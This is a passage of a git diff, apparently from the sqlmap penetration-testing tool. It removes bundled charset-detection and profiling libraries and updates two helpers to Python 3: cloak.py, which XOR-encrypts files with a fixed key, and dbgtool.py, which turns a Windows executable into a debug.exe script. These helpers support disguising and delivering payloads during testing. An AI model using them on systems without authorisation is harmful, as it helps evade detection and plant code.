SB_ENOUGH_REL_THRESHOLD: - cf = self.get_confidence() - if cf > POSITIVE_SHORTCUT_THRESHOLD: - if constants._debug: - sys.stderr.write('%s confidence = %s, we have a winner\n' % (self._mModel['charsetName'], cf)) - self._mState = constants.eFoundIt - elif cf < NEGATIVE_SHORTCUT_THRESHOLD: - if constants._debug: - sys.stderr.write('%s confidence = %s, below negative shortcut threshhold %s\n' % (self._mModel['charsetName'], cf, NEGATIVE_SHORTCUT_THRESHOLD)) - self._mState = constants.eNotMe - - return self.get_state() - - def get_confidence(self): - r = 0.01 - if self._mTotalSeqs > 0: -# print self._mSeqCounters[POSITIVE_CAT], self._mTotalSeqs, self._mModel['mTypicalPositiveRatio'] - r = (1.0 * self._mSeqCounters[POSITIVE_CAT]) / self._mTotalSeqs / self._mModel['mTypicalPositiveRatio'] -# print r, self._mFreqChar, self._mTotalChar - r = r * self._mFreqChar / self._mTotalChar - if r >= 1.0: - r = 0.99 - return r diff --git a/extra/chardet/sjisprober.py b/extra/chardet/sjisprober.py deleted file mode 100755 index 8f69f60bede..00000000000 --- a/extra/chardet/sjisprober.py +++ /dev/null @@ -1,85 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is mozilla.org code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 1998 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -from mbcharsetprober import MultiByteCharSetProber -from codingstatemachine import CodingStateMachine -from chardistribution import SJISDistributionAnalysis -from jpcntx import SJISContextAnalysis -from mbcssm import SJISSMModel -import constants, sys -from constants import eStart, eError, eItsMe - -class SJISProber(MultiByteCharSetProber): - def __init__(self): - MultiByteCharSetProber.__init__(self) - self._mCodingSM = CodingStateMachine(SJISSMModel) - self._mDistributionAnalyzer = SJISDistributionAnalysis() - self._mContextAnalyzer = SJISContextAnalysis() - self.reset() - - def reset(self): - MultiByteCharSetProber.reset(self) - self._mContextAnalyzer.reset() - - def get_charset_name(self): - return "SHIFT_JIS" - - def feed(self, aBuf): - aLen = len(aBuf) - for i in xrange(0, aLen): - codingState = self._mCodingSM.next_state(aBuf[i]) - if codingState == eError: - if constants._debug: - sys.stderr.write(self.get_charset_name() + ' prober hit error at byte ' + str(i) + '\n') - self._mState = constants.eNotMe - break - elif codingState == eItsMe: - self._mState = constants.eFoundIt - break - elif codingState == eStart: - charLen = self._mCodingSM.get_current_charlen() - if i == 0: - self._mLastChar[1] = aBuf[0] - self._mContextAnalyzer.feed(self._mLastChar[2 - charLen :], charLen) - self._mDistributionAnalyzer.feed(self._mLastChar, charLen) - else: - self._mContextAnalyzer.feed(aBuf[i + 1 - charLen : i + 3 - charLen], charLen) - self._mDistributionAnalyzer.feed(aBuf[i - 1 : i + 1], charLen) - - self._mLastChar[0] = aBuf[aLen - 1] - - if self.get_state() == constants.eDetecting: - if self._mContextAnalyzer.got_enough_data() and \ - (self.get_confidence() > constants.SHORTCUT_THRESHOLD): - self._mState = constants.eFoundIt - - return self.get_state() - - def get_confidence(self): - contxtCf = self._mContextAnalyzer.get_confidence() - distribCf = self._mDistributionAnalyzer.get_confidence() - return max(contxtCf, distribCf) diff --git a/extra/chardet/test.py b/extra/chardet/test.py deleted file mode 100755 index 2ebf3a4dcd6..00000000000 --- a/extra/chardet/test.py +++ /dev/null @@ -1,20 +0,0 @@ -import sys, glob -sys.path.insert(0, '..') -from chardet.universaldetector import UniversalDetector - -count = 0 -u = UniversalDetector() -for f in glob.glob(sys.argv[1]): - print f.ljust(60), - u.reset() - for line in file(f, 'rb'): - u.feed(line) - if u.done: break - u.close() - result = u.result - if result['encoding']: - print result['encoding'], 'with confidence', result['confidence'] - else: - print '******** no result' - count += 1 -print count, 'tests' diff --git a/extra/chardet/universaldetector.py b/extra/chardet/universaldetector.py deleted file mode 100755 index a08425f87bc..00000000000 --- a/extra/chardet/universaldetector.py +++ /dev/null @@ -1,154 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Universal charset detector code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 2001 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# Shy Shalom - original C code -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -import constants, sys -from latin1prober import Latin1Prober # windows-1252 -from mbcsgroupprober import MBCSGroupProber # multi-byte character sets -from sbcsgroupprober import SBCSGroupProber # single-byte character sets -from escprober import EscCharSetProber # ISO-2122, etc. -import re - -MINIMUM_THRESHOLD = 0.20 -ePureAscii = 0 -eEscAscii = 1 -eHighbyte = 2 - -class UniversalDetector: - def __init__(self): - self._highBitDetector = re.compile(r'[\x80-\xFF]') - self._escDetector = re.compile(r'(\033|~{)') - self._mEscCharSetProber = None - self._mCharSetProbers = [] - self.reset() - - def reset(self): - self.result = {'encoding': None, 'confidence': 0.0} - self.done = constants.False - self._mStart = constants.True - self._mGotData = constants.False - self._mInputState = ePureAscii - self._mLastChar = '' - if self._mEscCharSetProber: - self._mEscCharSetProber.reset() - for prober in self._mCharSetProbers: - prober.reset() - - def feed(self, aBuf): - if self.done: return - - aLen = len(aBuf) - if not aLen: return - - if not self._mGotData: - # If the data starts with BOM, we know it is UTF - if aBuf[:3] == '\xEF\xBB\xBF': - # EF BB BF UTF-8 with BOM - self.result = {'encoding': "UTF-8", 'confidence': 1.0} - elif aBuf[:4] == '\xFF\xFE\x00\x00': - # FF FE 00 00 UTF-32, little-endian BOM - self.result = {'encoding': "UTF-32LE", 'confidence': 1.0} - elif aBuf[:4] == '\x00\x00\xFE\xFF': - # 00 00 FE FF UTF-32, big-endian BOM - self.result = {'encoding': "UTF-32BE", 'confidence': 1.0} - elif aBuf[:4] == '\xFE\xFF\x00\x00': - # FE FF 00 00 UCS-4, unusual octet order BOM (3412) - self.result = {'encoding': "X-ISO-10646-UCS-4-3412", 'confidence': 1.0} - elif aBuf[:4] == '\x00\x00\xFF\xFE': - # 00 00 FF FE UCS-4, unusual octet order BOM (2143) - self.result = {'encoding': "X-ISO-10646-UCS-4-2143", 'confidence': 1.0} - elif aBuf[:2] == '\xFF\xFE': - # FF FE UTF-16, little endian BOM - self.result = {'encoding': "UTF-16LE", 'confidence': 1.0} - elif aBuf[:2] == '\xFE\xFF': - # FE FF UTF-16, big endian BOM - self.result = {'encoding': "UTF-16BE", 'confidence': 1.0} - - self._mGotData = constants.True - if self.result['encoding'] and (self.result['confidence'] > 0.0): - self.done = constants.True - return - - if self._mInputState == ePureAscii: - if self._highBitDetector.search(aBuf): - self._mInputState = eHighbyte - elif (self._mInputState == ePureAscii) and self._escDetector.search(self._mLastChar + aBuf): - self._mInputState = eEscAscii - - self._mLastChar = aBuf[-1] - - if self._mInputState == eEscAscii: - if not self._mEscCharSetProber: - self._mEscCharSetProber = EscCharSetProber() - if self._mEscCharSetProber.feed(aBuf) == constants.eFoundIt: - self.result = {'encoding': self._mEscCharSetProber.get_charset_name(), - 'confidence': self._mEscCharSetProber.get_confidence()} - self.done = constants.True - elif self._mInputState == eHighbyte: - if not self._mCharSetProbers: - self._mCharSetProbers = [MBCSGroupProber(), SBCSGroupProber(), Latin1Prober()] - for prober in self._mCharSetProbers: - if prober.feed(aBuf) == constants.eFoundIt: - self.result = {'encoding': prober.get_charset_name(), - 'confidence': prober.get_confidence()} - self.done = constants.True - break - - def close(self): - if self.done: return - if not self._mGotData: - if constants._debug: - sys.stderr.write('no data received!\n') - return - self.done = constants.True - - if self._mInputState == ePureAscii: - self.result = {'encoding': 'ascii', 'confidence': 1.0} - return self.result - - if self._mInputState == eHighbyte: - proberConfidence = None - maxProberConfidence = 0.0 - maxProber = None - for prober in self._mCharSetProbers: - if not prober: continue - proberConfidence = prober.get_confidence() - if proberConfidence > maxProberConfidence: - maxProberConfidence = proberConfidence - maxProber = prober - if maxProber and (maxProberConfidence > MINIMUM_THRESHOLD): - self.result = {'encoding': maxProber.get_charset_name(), - 'confidence': maxProber.get_confidence()} - return self.result - - if constants._debug: - sys.stderr.write('no probers hit minimum threshhold\n') - for prober in self._mCharSetProbers[0].mProbers: - if not prober: continue - sys.stderr.write('%s confidence = %s\n' % \ - (prober.get_charset_name(), \ - prober.get_confidence())) diff --git a/extra/clientform/__init__.py b/extra/clientform/__init__.py deleted file mode 100644 index d79a05bdaa7..00000000000 --- a/extra/clientform/__init__.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2007-2008 David McNab -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see <http://www.gnu.org/licenses/>. -# - -pass diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py old mode 100755 new mode 100644 index 652bcd8d837..bcac841631b --- a/extra/cloak/__init__.py +++ b/extra/cloak/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py old mode 100755 new mode 100644 index 3195f700607..641d1c51635 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -3,40 +3,45 @@ """ cloak.py - Simple file encryption/compression utility -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import bz2 +from __future__ import print_function + import os +import struct import sys +import zlib from optparse import OptionError from optparse import OptionParser -def hideAscii(data): - retVal = "" - for i in xrange(len(data)): - if ord(data[i]) < 128: - retVal += chr(ord(data[i]) ^ 127) - else: - retVal += data[i] +if sys.version_info >= (3, 0): + xrange = range + ord = lambda _: _ - return retVal +KEY = b"wr36EPIvaR7ZDfb4" -def cloak(inputFile): - f = open(inputFile, 'rb') - data = bz2.compress(f.read()) - f.close() +def xor(message, key): + return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message))) + +def cloak(inputFile=None, data=None): + if data is None: + with open(inputFile, "rb") as f: + data = f.read() - return hideAscii(data) + return xor(zlib.compress(data), KEY) -def decloak(inputFile): - f = open(inputFile, 'rb') +def decloak(inputFile=None, data=None): + if data is None: + with open(inputFile, "rb") as f: + data = f.read() try: - data = bz2.decompress(hideAscii(f.read())) - except: - print 'ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile + data = zlib.decompress(xor(data, KEY)) + except Exception as ex: + print(ex) + print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile) sys.exit(1) finally: f.close() @@ -45,7 +50,7 @@ def decloak(inputFile): def main(): usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0] - parser = OptionParser(usage=usage, version='0.1') + parser = OptionParser(usage=usage, version='0.2') try: parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt') @@ -57,11 +62,11 @@ def main(): if not args.inputFile: parser.error('Missing the input file, -h for help') - except (OptionError, TypeError), e: - parser.error(e) + except (OptionError, TypeError) as ex: + parser.error(ex) if not os.path.isfile(args.inputFile): - print 'ERROR: the provided input file \'%s\' is non existent' % args.inputFile + print('ERROR: the provided input file \'%s\' is non existent' % args.inputFile) sys.exit(1) if not args.decrypt: diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py index 652bcd8d837..bcac841631b 100644 --- a/extra/dbgtool/__init__.py +++ b/extra/dbgtool/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py old mode 100755 new mode 100644 index 327cb05d267..7cdb11b70c1 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -3,13 +3,14 @@ """ dbgtool.py - Portable executable to ASCII debug script converter -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import os import sys -import struct from optparse import OptionError from optparse import OptionParser @@ -19,7 +20,7 @@ def convert(inputFile): fileSize = fileStat.st_size if fileSize > 65280: - print "ERROR: the provided input file '%s' is too big for debug.exe" % inputFile + print("ERROR: the provided input file '%s' is too big for debug.exe" % inputFile) sys.exit(1) script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_")) @@ -32,7 +33,7 @@ def convert(inputFile): fileContent = fp.read() for fileChar in fileContent: - unsignedFileChar = struct.unpack("B", fileChar)[0] + unsignedFileChar = fileChar if sys.version_info >= (3, 0) else ord(fileChar) if unsignedFileChar != 0: counter2 += 1 @@ -59,7 +60,7 @@ def convert(inputFile): def main(inputFile, outputFile): if not os.path.isfile(inputFile): - print "ERROR: the provided input file '%s' is not a regular file" % inputFile + print("ERROR: the provided input file '%s' is not a regular file" % inputFile) sys.exit(1) script = convert(inputFile) @@ -70,7 +71,7 @@ def main(inputFile, outputFile): sys.stdout.write(script) sys.stdout.close() else: - print script + print(script) if __name__ == "__main__": usage = "%s -i <input file> [-o <output file>]" % sys.argv[0] @@ -86,8 +87,8 @@ def main(inputFile, outputFile): if not args.inputFile: parser.error("Missing the input file, -h for help") - except (OptionError, TypeError), e: - parser.error(e) + except (OptionError, TypeError) as ex: + parser.error(ex) inputFile = args.inputFile outputFile = args.outputFile diff --git a/extra/gprof2dot/__init__.py b/extra/gprof2dot/__init__.py deleted file mode 100755 index c1a869589f3..00000000000 --- a/extra/gprof2dot/__init__.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2008-2009 Jose Fonseca -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see <http://www.gnu.org/licenses/>. -# - -pass diff --git a/extra/gprof2dot/gprof2dot.py b/extra/gprof2dot/gprof2dot.py deleted file mode 100755 index 49cdcfe7c62..00000000000 --- a/extra/gprof2dot/gprof2dot.py +++ /dev/null @@ -1,2624 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2008-2009 Jose Fonseca -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see <http://www.gnu.org/licenses/>. -# - -"""Generate a dot graph from the output of several profilers.""" - -__author__ = "Jose Fonseca" - -__version__ = "1.0" - - -import sys -import math -import os.path -import re -import textwrap -import optparse -import xml.parsers.expat - - -try: - # Debugging helper module - import debug -except ImportError: - pass - - -def times(x): - return u"%u\xd7" % (x,) - -def percentage(p): - return "%.02f%%" % (p*100.0,) - -def add(a, b): - return a + b - -def equal(a, b): - if a == b: - return a - else: - return None - -def fail(a, b): - assert False - - -tol = 2 ** -23 - -def ratio(numerator, denominator): - try: - ratio = float(numerator)/float(denominator) - except ZeroDivisionError: - # 0/0 is undefined, but 1.0 yields more useful results - return 1.0 - if ratio < 0.0: - if ratio < -tol: - sys.stderr.write('warning: negative ratio (%s/%s)\n' % (numerator, denominator)) - return 0.0 - if ratio > 1.0: - if ratio > 1.0 + tol: - sys.stderr.write('warning: ratio greater than one (%s/%s)\n' % (numerator, denominator)) - return 1.0 - return ratio - - -class UndefinedEvent(Exception): - """Raised when attempting to get an event which is undefined.""" - - def __init__(self, event): - Exception.__init__(self) - self.event = event - - def __str__(self): - return 'unspecified event %s' % self.event.name - - -class Event(object): - """Describe a kind of event, and its basic operations.""" - - def __init__(self, name, null, aggregator, formatter = str): - self.name = name - self._null = null - self._aggregator = aggregator - self._formatter = formatter - - def __eq__(self, other): - return self is other - - def __hash__(self): - return id(self) - - def null(self): - return self._null - - def aggregate(self, val1, val2): - """Aggregate two event values.""" - assert val1 is not None - assert val2 is not None - return self._aggregator(val1, val2) - - def format(self, val): - """Format an event value.""" - assert val is not None - return self._formatter(val) - - -CALLS = Event("Calls", 0, add, times) -SAMPLES = Event("Samples", 0, add) -SAMPLES2 = Event("Samples", 0, add) - -TIME = Event("Time", 0.0, add, lambda x: '(' + str(x) + ')') -TIME_RATIO = Event("Time ratio", 0.0, add, lambda x: '(' + percentage(x) + ')') -TOTAL_TIME = Event("Total time", 0.0, fail) -TOTAL_TIME_RATIO = Event("Total time ratio", 0.0, fail, percentage) - - -class Object(object): - """Base class for all objects in profile which can store events.""" - - def __init__(self, events=None): - if events is None: - self.events = {} - else: - self.events = events - - def __hash__(self): - return id(self) - - def __eq__(self, other): - return self is other - - def __contains__(self, event): - return event in self.events - - def __getitem__(self, event): - try: - return self.events[event] - except KeyError: - raise UndefinedEvent(event) - - def __setitem__(self, event, value): - if value is None: - if event in self.events: - del self.events[event] - else: - self.events[event] = value - - -class Call(Object): - """A call between functions. - - There should be at most one call object for every pair of functions. - """ - - def __init__(self, callee_id): - Object.__init__(self) - self.callee_id = callee_id - self.ratio = None - self.weight = None - - -class Function(Object): - """A function.""" - - def __init__(self, id, name): - Object.__init__(self) - self.id = id - self.name = name - self.module = None - self.process = None - self.calls = {} - self.called = None - self.weight = None - self.cycle = None - - def add_call(self, call): - if call.callee_id in self.calls: - sys.stderr.write('warning: overwriting call from function %s to %s\n' % (str(self.id), str(call.callee_id))) - self.calls[call.callee_id] = call - - # TODO: write utility functions - - def __repr__(self): - return self.name - - -class Cycle(Object): - """A cycle made from recursive function calls.""" - - def __init__(self): - Object.__init__(self) - # XXX: Do cycles need an id? - self.functions = set() - - def add_function(self, function): - assert function not in self.functions - self.functions.add(function) - # XXX: Aggregate events? - if function.cycle is not None: - for other in function.cycle.functions: - if function not in self.functions: - self.add_function(other) - function.cycle = self - - -class Profile(Object): - """The whole profile.""" - - def __init__(self): - Object.__init__(self) - self.functions = {} - self.cycles = [] - - def add_function(self, function): - if function.id in self.functions: - sys.stderr.write('warning: overwriting function %s (id %s)\n' % (function.name, str(function.id))) - self.functions[function.id] = function - - def add_cycle(self, cycle): - self.cycles.append(cycle) - - def validate(self): - """Validate the edges.""" - - for function in self.functions.itervalues(): - for callee_id in function.calls.keys(): - assert function.calls[callee_id].callee_id == callee_id - if callee_id not in self.functions: - sys.stderr.write('warning: call to undefined function %s from function %s\n' % (str(callee_id), function.name)) - del function.calls[callee_id] - - def find_cycles(self): - """Find cycles using Tarjan's strongly connected components algorithm.""" - - # Apply the Tarjan's algorithm successively until all functions are visited - visited = set() - for function in self.functions.itervalues(): - if function not in visited: - self._tarjan(function, 0, [], {}, {}, visited) - cycles = [] - for function in self.functions.itervalues(): - if function.cycle is not None and function.cycle not in cycles: - cycles.append(function.cycle) - self.cycles = cycles - if 0: - for cycle in cycles: - sys.stderr.write("Cycle:\n") - for member in cycle.functions: - sys.stderr.write("\tFunction %s\n" % member.name) - - def _tarjan(self, function, order, stack, orders, lowlinks, visited): - """Tarjan's strongly connected components algorithm. - - See also: - - http://en.wikipedia.org/wiki/Tarjan's_strongly_connected_components_algorithm - """ - - visited.add(function) - orders[function] = order - lowlinks[function] = order - order += 1 - pos = len(stack) - stack.append(function) - for call in function.calls.itervalues(): - callee = self.functions[call.callee_id] - # TODO: use a set to optimize lookup - if callee not in orders: - order = self._tarjan(callee, order, stack, orders, lowlinks, visited) - lowlinks[function] = min(lowlinks[function], lowlinks[callee]) - elif callee in stack: - lowlinks[function] = min(lowlinks[function], orders[callee]) - if lowlinks[function] == orders[function]: - # Strongly connected component found - members = stack[pos:] - del stack[pos:] - if len(members) > 1: - cycle = Cycle() - for member in members: - cycle.add_function(member) - return order - - def call_ratios(self, event): - # Aggregate for incoming calls - cycle_totals = {} - for cycle in self.cycles: - cycle_totals[cycle] = 0.0 - function_totals = {} - for function in self.functions.itervalues(): - function_totals[function] = 0.0 - for function in self.functions.itervalues(): - for call in function.calls.itervalues(): - if call.callee_id != function.id: - callee = self.functions[call.callee_id] - function_totals[callee] += call[event] - if callee.cycle is not None and callee.cycle is not function.cycle: - cycle_totals[callee.cycle] += call[event] - - # Compute the ratios - for function in self.functions.itervalues(): - for call in function.calls.itervalues(): - assert call.ratio is None - if call.callee_id != function.id: - callee = self.functions[call.callee_id] - if callee.cycle is not None and callee.cycle is not function.cycle: - total = cycle_totals[callee.cycle] - else: - total = function_totals[callee] - call.ratio = ratio(call[event], total) - - def integrate(self, outevent, inevent): - """Propagate function time ratio allong the function calls. - - Must be called after finding the cycles. - - See also: - - http://citeseer.ist.psu.edu/graham82gprof.html - """ - - # Sanity checking - assert outevent not in self - for function in self.functions.itervalues(): - assert outevent not in function - assert inevent in function - for call in function.calls.itervalues(): - assert outevent not in call - if call.callee_id != function.id: - assert call.ratio is not None - - # Aggregate the input for each cycle - for cycle in self.cycles: - total = inevent.null() - for function in self.functions.itervalues(): - total = inevent.aggregate(total, function[inevent]) - self[inevent] = total - - # Integrate along the edges - total = inevent.null() - for function in self.functions.itervalues(): - total = inevent.aggregate(total, function[inevent]) - self._integrate_function(function, outevent, inevent) - self[outevent] = total - - def _integrate_function(self, function, outevent, inevent): - if function.cycle is not None: - return self._integrate_cycle(function.cycle, outevent, inevent) - else: - if outevent not in function: - total = function[inevent] - for call in function.calls.itervalues(): - if call.callee_id != function.id: - total += self._integrate_call(call, outevent, inevent) - function[outevent] = total - return function[outevent] - - def _integrate_call(self, call, outevent, inevent): - assert outevent not in call - assert call.ratio is not None - callee = self.functions[call.callee_id] - subtotal = call.ratio *self._integrate_function(callee, outevent, inevent) - call[outevent] = subtotal - return subtotal - - def _integrate_cycle(self, cycle, outevent, inevent): - if outevent not in cycle: - - # Compute the outevent for the whole cycle - total = inevent.null() - for member in cycle.functions: - subtotal = member[inevent] - for call in member.calls.itervalues(): - callee = self.functions[call.callee_id] - if callee.cycle is not cycle: - subtotal += self._integrate_call(call, outevent, inevent) - total += subtotal - cycle[outevent] = total - - # Compute the time propagated to callers of this cycle - callees = {} - for function in self.functions.itervalues(): - if function.cycle is not cycle: - for call in function.calls.itervalues(): - callee = self.functions[call.callee_id] - if callee.cycle is cycle: - try: - callees[callee] += call.ratio - except KeyError: - callees[callee] = call.ratio - - for member in cycle.functions: - member[outevent] = outevent.null() - - for callee, call_ratio in callees.iteritems(): - ranks = {} - call_ratios = {} - partials = {} - self._rank_cycle_function(cycle, callee, 0, ranks) - self._call_ratios_cycle(cycle, callee, ranks, call_ratios, set()) - partial = self._integrate_cycle_function(cycle, callee, call_ratio, partials, ranks, call_ratios, outevent, inevent) - assert partial == max(partials.values()) - assert not total or abs(1.0 - partial/(call_ratio*total)) <= 0.001 - - return cycle[outevent] - - def _rank_cycle_function(self, cycle, function, rank, ranks): - if function not in ranks or ranks[function] > rank: - ranks[function] = rank - for call in function.calls.itervalues(): - if call.callee_id != function.id: - callee = self.functions[call.callee_id] - if callee.cycle is cycle: - self._rank_cycle_function(cycle, callee, rank + 1, ranks) - - def _call_ratios_cycle(self, cycle, function, ranks, call_ratios, visited): - if function not in visited: - visited.add(function) - for call in function.calls.itervalues(): - if call.callee_id != function.id: - callee = self.functions[call.callee_id] - if callee.cycle is cycle: - if ranks[callee] > ranks[function]: - call_ratios[callee] = call_ratios.get(callee, 0.0) + call.ratio - self._call_ratios_cycle(cycle, callee, ranks, call_ratios, visited) - - def _integrate_cycle_function(self, cycle, function, partial_ratio, partials, ranks, call_ratios, outevent, inevent): - if function not in partials: - partial = partial_ratio*function[inevent] - for call in function.calls.itervalues(): - if call.callee_id != function.id: - callee = self.functions[call.callee_id] - if callee.cycle is not cycle: - assert outevent in call - partial += partial_ratio*call[outevent] - else: - if ranks[callee] > ranks[function]: - callee_partial = self._integrate_cycle_function(cycle, callee, partial_ratio, partials, ranks, call_ratios, outevent, inevent) - call_ratio = ratio(call.ratio, call_ratios[callee]) - call_partial = call_ratio*callee_partial - try: - call[outevent] += call_partial - except UndefinedEvent: - call[outevent] = call_partial - partial += call_partial - partials[function] = partial - try: - function[outevent] += partial - except UndefinedEvent: - function[outevent] = partial - return partials[function] - - def aggregate(self, event): - """Aggregate an event for the whole profile.""" - - total = event.null() - for function in self.functions.itervalues(): - try: - total = event.aggregate(total, function[event]) - except UndefinedEvent: - return - self[event] = total - - def ratio(self, outevent, inevent): - assert outevent not in self - assert inevent in self - for function in self.functions.itervalues(): - assert outevent not in function - assert inevent in function - function[outevent] = ratio(function[inevent], self[inevent]) - for call in function.calls.itervalues(): - assert outevent not in call - if inevent in call: - call[outevent] = ratio(call[inevent], self[inevent]) - self[outevent] = 1.0 - - def prune(self, node_thres, edge_thres): - """Prune the profile""" - - # compute the prune ratios - for function in self.functions.itervalues(): - try: - function.weight = function[TOTAL_TIME_RATIO] - except UndefinedEvent: - pass - - for call in function.calls.itervalues(): - callee = self.functions[call.callee_id] - - if TOTAL_TIME_RATIO in call: - # handle exact cases first - call.weight = call[TOTAL_TIME_RATIO] - else: - try: - # make a safe estimate - call.weight = min(function[TOTAL_TIME_RATIO], callee[TOTAL_TIME_RATIO]) - except UndefinedEvent: - pass - - # prune the nodes - for function_id in self.functions.keys(): - function = self.functions[function_id] - if function.weight is not None: - if function.weight < node_thres: - del self.functions[function_id] - - # prune the egdes - for function in self.functions.itervalues(): - for callee_id in function.calls.keys(): - call = function.calls[callee_id] - if callee_id not in self.functions or call.weight is not None and call.weight < edge_thres: - del function.calls[callee_id] - - def dump(self): - for function in self.functions.itervalues(): - sys.stderr.write('Function %s:\n' % (function.name,)) - self._dump_events(function.events) - for call in function.calls.itervalues(): - callee = self.functions[call.callee_id] - sys.stderr.write(' Call %s:\n' % (callee.name,)) - self._dump_events(call.events) - for cycle in self.cycles: - sys.stderr.write('Cycle:\n') - self._dump_events(cycle.events) - for function in cycle.functions: - sys.stderr.write(' Function %s\n' % (function.name,)) - - def _dump_events(self, events): - for event, value in events.iteritems(): - sys.stderr.write(' %s: %s\n' % (event.name, event.format(value))) - - -class Struct: - """Masquerade a dictionary with a structure-like behavior.""" - - def __init__(self, attrs = None): - if attrs is None: - attrs = {} - self.__dict__['_attrs'] = attrs - - def __getattr__(self, name): - try: - return self._attrs[name] - except KeyError: - raise AttributeError(name) - - def __setattr__(self, name, value): - self._attrs[name] = value - - def __str__(self): - return str(self._attrs) - - def __repr__(self): - return repr(self._attrs) - - -class ParseError(Exception): - """Raised when parsing to signal mismatches.""" - - def __init__(self, msg, line): - self.msg = msg - # TODO: store more source line information - self.line = line - - def __str__(self): - return '%s: %r' % (self.msg, self.line) - - -class Parser: - """Parser interface.""" - - def __init__(self): - pass - - def parse(self): - raise NotImplementedError - - -class LineParser(Parser): - """Base class for parsers that read line-based formats.""" - - def __init__(self, file): - Parser.__init__(self) - self._file = file - self.__line = None - self.__eof = False - - def readline(self): - line = self._file.readline() - if not line: - self.__line = '' - self.__eof = True - self.__line = line.rstrip('\r\n') - - def lookahead(self): - assert self.__line is not None - return self.__line - - def consume(self): - assert self.__line is not None - line = self.__line - self.readline() - return line - - def eof(self): - assert self.__line is not None - return self.__eof - - -XML_ELEMENT_START, XML_ELEMENT_END, XML_CHARACTER_DATA, XML_EOF = range(4) - - -class XmlToken: - - def __init__(self, type, name_or_data, attrs = None, line = None, column = None): - assert type in (XML_ELEMENT_START, XML_ELEMENT_END, XML_CHARACTER_DATA, XML_EOF) - self.type = type - self.name_or_data = name_or_data - self.attrs = attrs - self.line = line - self.column = column - - def __str__(self): - if self.type == 